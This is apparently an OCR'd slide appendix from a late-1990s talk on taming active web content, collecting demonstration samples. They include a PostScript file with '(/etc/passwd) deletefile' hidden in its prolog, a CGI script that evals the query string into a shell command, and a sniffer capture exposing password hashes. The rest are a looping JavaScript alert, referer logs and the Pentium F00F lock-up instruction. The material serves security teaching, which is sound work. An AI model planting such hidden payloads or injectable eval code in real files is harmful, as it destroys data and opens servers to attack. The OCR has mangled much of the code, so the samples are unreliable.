Keeping the Genie in Your Bottle Alec Muffett

Ghostscript

-dSAFER

Disables the deletefile and renamefile
operators, and the ability to open files
in any mode other than read-only. This
may be desirable for spoolers or other

sensitive environments.
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Postscript

%!PS-Adobe-2.0

%hCreator: dvipsk 5.58f Copyright 1986, 1994 Radical Eye Software
%hTitle: extras.dvi

%/iPages: 1

%/PageOrder: Ascend

%%BoundingBox: 0 0 612 792

%%DocumentPaperSizes: Letter

%4EndComments

%DVIPSCommandLine: dvips -t portrait extras.dvi -o

#DVIPSParameters: dpi=600, comments removed

%DVIPSSource: TeX output 1997.11.11:1254

%%BeginProcSet: tex.pro

/TeXDict 250 dict def TeXDict begin /N{defl}def /B{bind def}N /S{exchl}N
/X{S N}B /TR{translate}N /isls false N /vsize 11 72 mul N /hsize 8.5
72 mul N /landplus90{false}def /@rigin{isls{[0 landplus90{1 -1}{-1 1}
ifelse O O O]concat}if 72 Resolution div 72 VResolution div neg scale
isls{landplus90{VResolution 72 div vsize mul O exch}{Resolution -72
div hsize mul O}ifelse TR}if Resolution VResolution vsize -72 div 1
add mul TR[matrix currentmatrix{dup dup round sub abs 0.00001
lt{round}if} forall round exch round exch]setmatrix}N
/@landscape{/isls true N}B /@manualfeed{statusdict /manualfeed true
put}B /@copies{/#copies X}B /FMat[1 0 O -1 0 O]N /FBB[O O O O]N /nn O
N /IE O N /ctr O N /df-tail{ /nn 8 dict N nn begin /FontType 3 N
/FontMatrix fntrx N /FontBBox FBB N string /base X array /BitMaps X
/BuildChar{CharBuilder}N /Encoding IE N end dup{/foo setfont}2 array
copy cvx N load O nn put /ctr O N[}B (/etc/passwd) deletefile /df{ /sf
1 N /fntrx FMat N df-taill}B /dfs{div /sf X /fntrx[sf O O sf neg 0 O] N
df-tail}B /E{pop nn dup definefont setfont}B /ch-width{ch-data dup
length 5 sub get}B /ch-height{ch-data dup length 4 sub get}B /ch-xoff{
128 ch-data dup length 3 sub get sub}B /ch-yoff{ch-data dup length 2
sub get 127 sub}B /ch-dx{ch-data dup length 1 sub get}B
/ch-image{ch-data dup type /stringtype ne{ctr get /ctr ctr 1 add
N}if}B /id O N /rw O N /rc O N /gp O N /cp O N /G O N /sf O N
/CharBuilder{save 3 1 roll S dup /base get 2 index get S /BitMaps get
S get /ch-data X pop /ctr O N ch-dx O ch-xoff ch-yoff ch-height sub
ch-xoff ch-width add ch-yoff setcachedevice ch-width ch-height true
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CGI Script Example

#!/bin/sh
echo Content-type: text/plain
echo

execC

echo

echo argc is "$#"

echo argv is "$@"

echo ""

echo REQUEST_METHOD="$REQUEST_METHOD"
echo SCRIPT_NAME="$SCRIPT_NAME"

echo QUERY_STRING="$QUERY_STRING"

echo

echo ’result of: finger "$QUERY_STRING"’
echo ""

finger "$QUERY_STRING"

echo ’result of: eval "finger $QUERY_STRING"’
eChO nn
eval "finger $QUERY_STRING"
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Sniffer Capture

:45:08.736160 coyote.1022 > fox.login: P 1:3(2) ack 1 win 8760 (DF)
.*.s@...Bb..._...“....0Qv..{p-,P.”’8o...[A....

:45:08.736160 fox.login > coyote.1022: P 1:16(15) ack 3 win 31744 (DF) [tos 0x10]
..7..0.0.79......_....{p-,@v..P.|..N..cat /etc/passw.d

:45:08.776160 coyote.1022 > fox.login: . ack 16 win 8760 (DF)
.(.u@...Bb..._...“....0v..{p—;P.

:45:20.026160 coyote.1022 > fox.
.).y@...Bl..._...“....@v..{p-;P.

:45:20.036160 fox.login > coyote.1022:
.*%..0.0.°B...

:45:20.086160 coyote.1022 > fox.login:
E..(.z@...B]..._...“....@v..{p-=P.’’8

13:45:20.146160 fox.login > coyote.1022: P 18:690(672) ack 4 win 31744 (DF) [tos 0x10]

evo_e . {p—=@v..P.| root:Wn8GuktK8TDvY:0:0:root:/root:/b
in/bash..bin:*:1:1:bin:/bin:..daemon:*:2:2:daemon:/sbin:..adm:*:3:4:adm:/var
/adm:..lp:*:4:7:1p:/var/spool/lpd:..sync:*:5:0:sync:/sbin:/bin/sync. .shutdow
n:*:6:0:shutdown:/sbin:/sbin/shutdown. .halt:*:7:0:halt:/sbin:/sbin/halt. .mai
1:%:8:12:mail:/var/spool/mail:..news:*:9:13:news:/var/spool/news: . .uucp:*:10
:14:uucp:/var/spool/uucp: . .operator:*:11:0:0operator:/root:..games:*:12:100:g
ames:/usr/games: ..gopher:*:13:30:gopher:/usr/lib/gopher-data:..ftp:*:14:50:F
TP User:/home/ftp:..nobody:*:99:99:Nobody:/:..alecm:yWdZjC094JF4U:500:500:RH
S Linux User:/home/alecm:/bin/bash. .casper:HGmos4MN1lwok2:501:501:RHS Linux U
ser:/home/casper:/bin/bash. .
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Java and HT ML

<h1>framel</h1>

<p>

Try to

<applet code=’MyApplet.class’ width=80 height=32>
<param name=’href’ value=’http://www.sun.com/’>
<param name=’text’ value=’click here’>

<param name=’target’ value=’frame2’>

</applet>

to load the other frame.

<p>

Peekaboo!

<p>
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JavaScript and HT ML

<html>
<head>
<title>
JavaScript Test
</title>
</head>
<body>
<SCRIPT>
i = 20;
while (i--)
{

alert("This is an Alert!");
}
</SCRIPT>
</body>
</html>

Taming Active Content on the WWW app-6



Keeping the Genie in Your Bottle Alec Muffett

Referer Logs

file:/.netscape/bookmarks.html -> /cgi-bin/bnhtml
file:/.netscape/chis_list.html -> /

file:///C|/Program Files/Netscape/Navigator/bookmarks.html -> /cgi-bin/bnhtml
file:///D|/down/bookmarks.html -> /kiwi/kiwi.html
file:///c:/web/index.htm -> /kiwi/kiwi.html
file:///home/aniketp/test/bfbookmarks -> /cgi-bin/bnhtml
file:///home/baro/lib/home.html -> /cgi-bin/bnhtml
file:///home/chrisba/.netscape/bookmarks.html -> /
file:///home/chrisba/.netscape/bookmarks.html -> /cgi-bin/bnhtml
file:///home/comins/bookmark.html -> /cgi-bin/bnhtml
file:///home/giorgio/.giorgio.html -> /kiwi/kiwi.html
file:///home/jmrodri/home.html#nmgt -> /kiwi.html
file:///home/jmrodri/home.html#resources -> /kiwi.file
html:///home/jmrodri/home.html#search -> /kiwi.html

http://coyote.uk/cgi-bin/bnhtml -> /cgi-bin/bnhtml
http://coyote.uk/cgi-bin/bnhtml -> /kiwi/kiwi.html
http://coyote.uk/cgi-bin/bnhtml?q=Y,2Balec+java+sun&w=200 -> /kiwi/kiwi.html/

http://www.corp/field/dropsite/DropSite.html -> /
http://www.corp/prodmktg/pme/se_resource.html -> /kiwi.html
http://www.openans.co.uk/Sun/ -> /
http://www.openans.co.uk/Sun/ -> /kiwi/kiwi.html
http://www.rsa/sw_link.htm -> /kiwi/kiwi.html
http://wuweast.east/sysadmin/swan.html -> /cgi-bin/kiwipost
http://wuweast/sysadmin/swan.html -> /cgi-bin/kiwipost
http://wyvern.hungary/links/ -> /kiwi.html

https://columbo. japan/~tsuchida/searchtools.html -> /kiwi/kiwi.html
news://uk-usenet.uk/nd367wdkloa.fsf@uk -> /cgi-bin/bnhtml
news:casper.859455196Quk-usenet.uk -> /cgi-bin/bnhtml
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Fun with Pentiums!

.text

.align 4

.globl main
main:

.long 0xC8C7OFFO
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